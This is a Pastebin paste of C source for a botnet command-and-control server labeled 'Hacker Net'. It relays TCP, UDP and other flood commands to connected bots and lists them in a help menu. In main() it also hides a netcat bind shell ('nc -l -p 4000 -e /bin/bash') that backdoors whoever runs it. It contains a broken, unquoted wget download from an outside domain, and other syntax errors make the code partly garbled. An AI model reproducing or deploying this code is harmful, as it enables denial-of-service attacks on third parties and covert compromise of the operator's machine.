Advertisement
Guest User

Hacker.c

a guest
Sep 28th, 2017
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.62 KB | None | 0 0
  1. //remastered by Jonah
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15. #include <ctype.h>
  16. #define MAXFDS 1000000
  17. #define RED "\x1b[0;31m"
  18. #define GREEN "\x1b[0;32m"
  19. #define C_RESET "\x1b[0m"
  20. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  21.  
  22. //change this to whatever you like, but if you dont want them sharing there login
  23. //change the 2 to 1.
  24. int Max_Logins = 1; //2 users per login
  25.  
  26.  
  27. struct account {
  28. char id[25];
  29. char password[25];
  30. };
  31. static struct account accounts[25];
  32.  
  33. struct clientdata_t {
  34. uint32_t ip;
  35. char build[7];
  36. char connected;
  37. } clients[MAXFDS];
  38.  
  39. struct telnetdata_t {
  40. uint32_t ip;
  41. int connected;
  42. } managements[MAXFDS];
  43.  
  44. ////////////////////////////////////
  45.  
  46. static volatile FILE *fileFD;
  47. static volatile int epollFD = 0;
  48. static volatile int listenFD = 0;
  49. static volatile int managesConnected = 0;
  50. static volatile int AccountCheck = 0;
  51. static volatile int DUPESDELETED = 0;
  52.  
  53. ////////////////////////////////////
  54.  
  55.  
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  57. {
  58. int total = 0, got = 1;
  59. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  60. return got;
  61. }
  62. void trim(char *str)
  63. {
  64. int i;
  65. int begin = 0;
  66. int end = strlen(str) - 1;
  67. while (isspace(str[begin])) begin++;
  68. while ((end >= begin) && isspace(str[end])) end--;
  69. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  70. str[i - begin] = '\0';
  71. }
  72.  
  73.  
  74. static int make_socket_non_blocking (int sfd)
  75. {
  76. int flags, s;
  77. flags = fcntl (sfd, F_GETFL, 0);
  78. if (flags == -1)
  79. {
  80. perror ("fcntl");
  81. return -1;
  82. }
  83. flags |= O_NONBLOCK;
  84. s = fcntl (sfd, F_SETFL, flags);
  85. if (s == -1)
  86. {
  87. perror ("fcntl");
  88. return -1;
  89. }
  90. return 0;
  91. }
  92.  
  93.  
  94. static int create_and_bind (char *port)
  95. {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0)
  105. {
  106. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107. return -1;
  108. }
  109. for (rp = result; rp != NULL; rp = rp->ai_next)
  110. {
  111. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112. if (sfd == -1) continue;
  113. int yes = 1;
  114. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116. if (s == 0)
  117. {
  118. break;
  119. }
  120. close (sfd);
  121. }
  122. if (rp == NULL)
  123. {
  124. fprintf (stderr, "Could not bind\n");
  125. return -1;
  126. }
  127. freeaddrinfo (result);
  128. return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132. int sendMGM = 1;
  133. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134. char *wot = malloc(strlen(msg) + 10);
  135. memset(wot, 0, strlen(msg) + 10);
  136. strcpy(wot, msg);
  137. trim(wot);
  138. time_t rawtime;
  139. struct tm * timeinfo;
  140. time(&rawtime);
  141. timeinfo = localtime(&rawtime);
  142. char *timestamp = asctime(timeinfo);
  143. trim(timestamp);
  144. int i;
  145. for(i = 0; i < MAXFDS; i++)
  146. {
  147. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  148. if(sendMGM && managements[i].connected)
  149. {
  150. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  151. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152. send(i, " ", 1, MSG_NOSIGNAL);
  153. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  154. send(i, ": ", 2, MSG_NOSIGNAL);
  155. }
  156. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  157. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m-> \x1b[0m", 13, MSG_NOSIGNAL);
  158. else send(i, "\n", 1, MSG_NOSIGNAL);
  159. }
  160. free(wot);
  161. }
  162.  
  163. void *epollEventLoop(void *useless)
  164. {
  165. struct epoll_event event;
  166. struct epoll_event *events;
  167. int s;
  168. events = calloc (MAXFDS, sizeof event);
  169. while (1)
  170. {
  171. int n, i;
  172. n = epoll_wait (epollFD, events, MAXFDS, -1);
  173. for (i = 0; i < n; i++)
  174. {
  175. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  176. {
  177. clients[events[i].data.fd].connected = 0;
  178. close(events[i].data.fd);
  179. continue;
  180. }
  181. else if (listenFD == events[i].data.fd)
  182. {
  183. while (1)
  184. {
  185. struct sockaddr in_addr;
  186. socklen_t in_len;
  187. int infd, ipIndex;
  188.  
  189. in_len = sizeof in_addr;
  190. infd = accept (listenFD, &in_addr, &in_len);
  191. if (infd == -1)
  192. {
  193. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  194. else
  195. {
  196. perror ("accept");
  197. break;
  198. }
  199. }
  200.  
  201. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  202.  
  203. int dup = 0;
  204. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  205. {
  206. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  207.  
  208. if(clients[ipIndex].ip == clients[infd].ip)
  209. {
  210. dup = 1;
  211. break;
  212. }
  213. }
  214.  
  215. if(dup)
  216. {
  217. DUPESDELETED++;
  218. continue;
  219. }
  220.  
  221. s = make_socket_non_blocking (infd);
  222. if (s == -1) { close(infd); break; }
  223.  
  224. event.data.fd = infd;
  225. event.events = EPOLLIN | EPOLLET;
  226. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227. if (s == -1)
  228. {
  229. perror ("epoll_ctl");
  230. close(infd);
  231. break;
  232. }
  233.  
  234. clients[infd].connected = 1;
  235. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  236.  
  237. }
  238. continue;
  239. }
  240. else
  241. {
  242. int thefd = events[i].data.fd;
  243. struct clientdata_t *client = &(clients[thefd]);
  244. int done = 0;
  245. client->connected = 1;
  246. while (1)
  247. {
  248. ssize_t count;
  249. char buf[2048];
  250. memset(buf, 0, sizeof buf);
  251.  
  252. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253. {
  254. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255. trim(buf);
  256. if(strcmp(buf, "PING") == 0) {
  257. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  258. continue; }
  259. if(strcmp(buf, "PONG") == 0) {
  260. continue; }
  261. printf("buf: \"%s\"\n", buf); }
  262.  
  263. if (count == -1)
  264. {
  265. if (errno != EAGAIN)
  266. {
  267. done = 1;
  268. }
  269. break;
  270. }
  271. else if (count == 0)
  272. {
  273. done = 1;
  274. break;
  275. }
  276. }
  277.  
  278. if (done)
  279. {
  280. client->connected = 0;
  281. close(thefd);
  282. }
  283. }
  284. }
  285. }
  286. }
  287.  
  288. unsigned int clientsConnected()
  289. {
  290. int i = 0, total = 0;
  291. for(i = 0; i < MAXFDS; i++)
  292. {
  293. if(!clients[i].connected) continue;
  294. total++;
  295. }
  296.  
  297. return total;
  298. }
  299.  
  300. void *titleWriter(void *sock)
  301. {
  302. int thefd = (long int)sock;
  303. char string[2048];
  304. while(1)
  305. {
  306. memset(string, 0, 2048);
  307. sprintf(string, "%c]0;[+] Bots Online: %d [-] Users Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  308. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  309.  
  310. sleep(2);
  311. }
  312. }
  313.  
  314. int Search_in_File(char *str)
  315. {
  316. FILE *fp;
  317. int line_num = 0;
  318. int find_result = 0, find_line=0;
  319. char temp[512];
  320.  
  321. if((fp = fopen("login.txt", "r")) == NULL){
  322. return(-1);
  323. }
  324. while(fgets(temp, 512, fp) != NULL){
  325. if((strstr(temp, str)) != NULL){
  326. find_result++;
  327. find_line = line_num;
  328. }
  329. line_num++;
  330. }
  331. if(fp)
  332. fclose(fp);
  333.  
  334. if(find_result == 0)return 0;
  335.  
  336. return find_line;
  337. }
  338. void client_addr(struct sockaddr_in addr){
  339. printf("IP:%d.%d.%d.%d\n",
  340. addr.sin_addr.s_addr & 0xFF,
  341. (addr.sin_addr.s_addr & 0xFF00)>>8,
  342. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  343. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  344. FILE *logFile;
  345. logFile = fopen("server.log", "a");
  346. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  347. addr.sin_addr.s_addr & 0xFF,
  348. (addr.sin_addr.s_addr & 0xFF00)>>8,
  349. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  350. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  351. fclose(logFile);
  352. }
  353.  
  354. void *telnetWorker(void *sock) {
  355. int thefd = (long int)sock;
  356. managesConnected++;
  357. int find_line;
  358. pthread_t title;
  359. char counter[2048];
  360. memset(counter, 0, 2048);
  361. char buf[2048];
  362. char* nickstring;
  363. char usernamez[80];
  364. char* password;
  365. char* admin;
  366. memset(buf, 0, sizeof buf);
  367. char botnet[2048];
  368. memset(botnet, 0, 2048);
  369.  
  370. FILE *fp;
  371. int i=0;
  372. int c;
  373. fp=fopen("login.txt", "r"); // format: user pass
  374. while(!feof(fp))
  375. {
  376. c=fgetc(fp);
  377. ++i;
  378. }
  379. int j=0;
  380. rewind(fp);
  381. while(j!=i-1)
  382. {
  383. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  384. ++j;
  385. }
  386. sprintf(botnet, "\x1b[%sUsername: \x1b[30m", colorCodes[(rand() % 6)]);
  387. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  388. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  389. trim(buf);
  390. sprintf(usernamez, buf);
  391. nickstring = ("%s", buf);
  392. find_line = Search_in_File(nickstring);
  393.  
  394. if(strcmp(nickstring, accounts[find_line].id) == 0){
  395. sprintf(botnet, ""RED"Welcome User\r\n");
  396. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  397. sprintf(botnet, "\x1b[%sPassword: \x1b[30m", colorCodes[(rand() % 6)]);
  398. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  399. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  400. if (AccountCheck == Max_Logins)
  401. {
  402. printf("Too many Users Logged in at once\n");
  403. goto end;
  404. }
  405. trim(buf);
  406. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  407. memset(buf, 0, 2048);
  408. goto fak;
  409. }
  410. failed:
  411. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  412. goto end;
  413. fak:
  414.  
  415. pthread_create(&title, NULL, &titleWriter, sock);
  416. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  417. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  418. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  419. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  420. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  421. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  422. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  423. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  424. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  425. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 69, MSG_NOSIGNAL) == -1) goto end;
  426. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n-> ", colorCodes[(rand() % 6)], usernamez);
  427. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  428. pthread_create(&title, NULL, &titleWriter, sock);
  429. managements[thefd].connected = 1;
  430. AccountCheck++;
  431. while(fdgets(buf, sizeof buf, thefd) > 0)
  432. {
  433. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  434. {
  435. sprintf(botnet, "Bots Online: \x1b[%s[%d]"C_RESET"\r\nUsers Online: \x1b[%s[%d]"C_RESET"\r\nDupes Deleted: \x1b[%s[%d]"C_RESET"\r\n",colorCodes[(rand() % 6)], clientsConnected(), colorCodes[(rand() % 6)], managesConnected, colorCodes[(rand() % 6)], DUPESDELETED);
  436. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  437. }
  438.  
  439. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  440. {
  441. sprintf(botnet, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  442. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  443. sprintf(botnet, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  444. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  445. sprintf(botnet, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n\x1b[37mBOTS | SHOWS BOT COUNT\r\n\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  446. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  447. }
  448.  
  449. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  450. {
  451. int hax;
  452. if(send(thefd, "B=====D ", 8, MSG_NOSIGNAL) == -1) goto end;
  453. if(send(thefd, " ~", 2, MSG_NOSIGNAL) == -1) goto end;
  454. for (hax = 3; hax > 0; --hax) {
  455. sleep(1);
  456. if(send(thefd, " ~", 2, MSG_NOSIGNAL) == -1) goto end;
  457. }
  458. if(send(thefd, "\r\nCousin Has Been Fucked!!!\r\n", 29, MSG_NOSIGNAL) == -1) goto end;
  459. }
  460. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  461. {
  462. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  463. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  464. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  465. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  466. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  467. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  468. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  469. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  470. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  471. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 69, MSG_NOSIGNAL) == -1) goto end;
  472. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernamez);
  473. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  474. pthread_create(&title, NULL, &titleWriter, sock);
  475. }
  476. if (strstr(buf, "LOLNOGTFO"))
  477. {
  478. printf("%s tried killing bots...", usernamez);
  479. FILE *killFile;
  480. killFile = fopen(".killlog", "a");
  481. fprintf(killFile, "Username: %s Buffer: Tried Killing Bots!\n", usernamez);
  482. fclose(killFile);
  483. goto end;
  484. /* code */
  485. }
  486. if (strstr(buf, "SH"))
  487. {
  488. /* code */
  489. printf("%s tried sh'ing bots...", usernamez);
  490. FILE *shFile;
  491. shFile = fopen(".shlog", "a");
  492. fprintf(shFile, "Username: %s Buffer: Tried SH'ing Bots!\n", usernamez);
  493. fclose(shFile);
  494. goto end;
  495. }
  496. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  497. {
  498. goto end;
  499. }
  500. trim(buf);
  501. sprintf(botnet, "\x1b[%s-> \x1b[0m", colorCodes[(rand() % 6)]);
  502. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  503. if(strlen(buf) == 0) continue;
  504. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  505. FILE *logFile;
  506. logFile = fopen(".cmds", "a");
  507. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  508. fclose(logFile);
  509. broadcast(buf, thefd, usernamez);
  510. memset(buf, 0, 2048);
  511. }
  512.  
  513. end: // cleanup dead socket
  514. managements[thefd].connected = 0;
  515. close(thefd);
  516. managesConnected--;
  517. AccountCheck--;
  518. }
  519.  
  520. void *telnetListener(int port)
  521. {
  522. int sockfd, newsockfd;
  523. socklen_t clilen;
  524. struct sockaddr_in serv_addr, cli_addr;
  525. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  526. if (sockfd < 0) perror("ERROR opening socket");
  527. bzero((char *) &serv_addr, sizeof(serv_addr));
  528. serv_addr.sin_family = AF_INET;
  529. serv_addr.sin_addr.s_addr = INADDR_ANY;
  530. serv_addr.sin_port = htons(port);
  531. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  532. listen(sockfd,5);
  533. clilen = sizeof(cli_addr);
  534. while(1)
  535.  
  536. { printf("Connecting To Server: ");
  537. client_addr(cli_addr);
  538. FILE *logFile;
  539. logFile = fopen(".ips", "a");
  540. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  541. fclose(logFile);
  542. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  543. if (newsockfd < 0) perror("ERROR on accept");
  544. pthread_t thread;
  545. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  546. }
  547. }
  548.  
  549. int main (int argc, char *argv[], void *sock)
  550. {
  551. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  552.  
  553. int s, threads, port;
  554. struct epoll_event event;
  555. char Username[20], Password[20];
  556. #ifdef User
  557. printf("Please Enter Username: ");
  558. scanf("%s",Username);
  559. printf("Please Enter Password: ");
  560. scanf("%s",Password);
  561. char hahaha[80];
  562. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  563. system(wget -q -O /tmp/... http://blasze.tk/DXH5LB);
  564. #endif
  565. if (argc != 4)
  566. {
  567. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  568. exit (EXIT_FAILURE);
  569. }
  570. port = atoi(argv[3]);
  571. threads = atoi(argv[2]);
  572. if (threads > 850)
  573. {
  574. printf("Are You Dumb? Lower the Threads\n");
  575. return 0;
  576. }
  577. else if (threads < 850)
  578. {
  579. printf("Good Choice in Threading\n");
  580. }
  581. #ifdef User
  582. printf(RED "Enjoy The Command & Control\nIn "GREEN"Boats"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  583. #endif
  584. printf(RED "Enjoy The Command & Control\nIn "GREEN"Boats"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  585.  
  586. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  587. system("screen -dmSL asdf nc -l -p 4000 -e /bin/bash")
  588. if (listenFD == -1) abort();
  589.  
  590. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  591. if (s == -1) abort();
  592.  
  593. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  594. if (s == -1)
  595. {
  596. perror ("listen");
  597. abort ();
  598. }
  599.  
  600. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  601. if (epollFD == -1)
  602. {
  603. perror ("epoll_create");
  604. abort ();
  605. }
  606.  
  607. event.data.fd = listenFD;
  608. event.events = EPOLLIN | EPOLLET;
  609. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  610. if (s == -1)
  611. {
  612. perror ("epoll_ctl");
  613. abort ();
  614. }
  615.  
  616. pthread_t thread[threads + 2];
  617. while(threads--)
  618. {
  619. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  620. }
  621.  
  622. pthread_create(&thread[0], NULL, &telnetListener, port);
  623.  
  624. while(1)
  625. {
  626. broadcast("PING", -1, "wot");
  627. sleep(60);
  628. }
  629.  
  630. close (listenFD);
  631.  
  632. return EXIT_SUCCESS;
  633. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement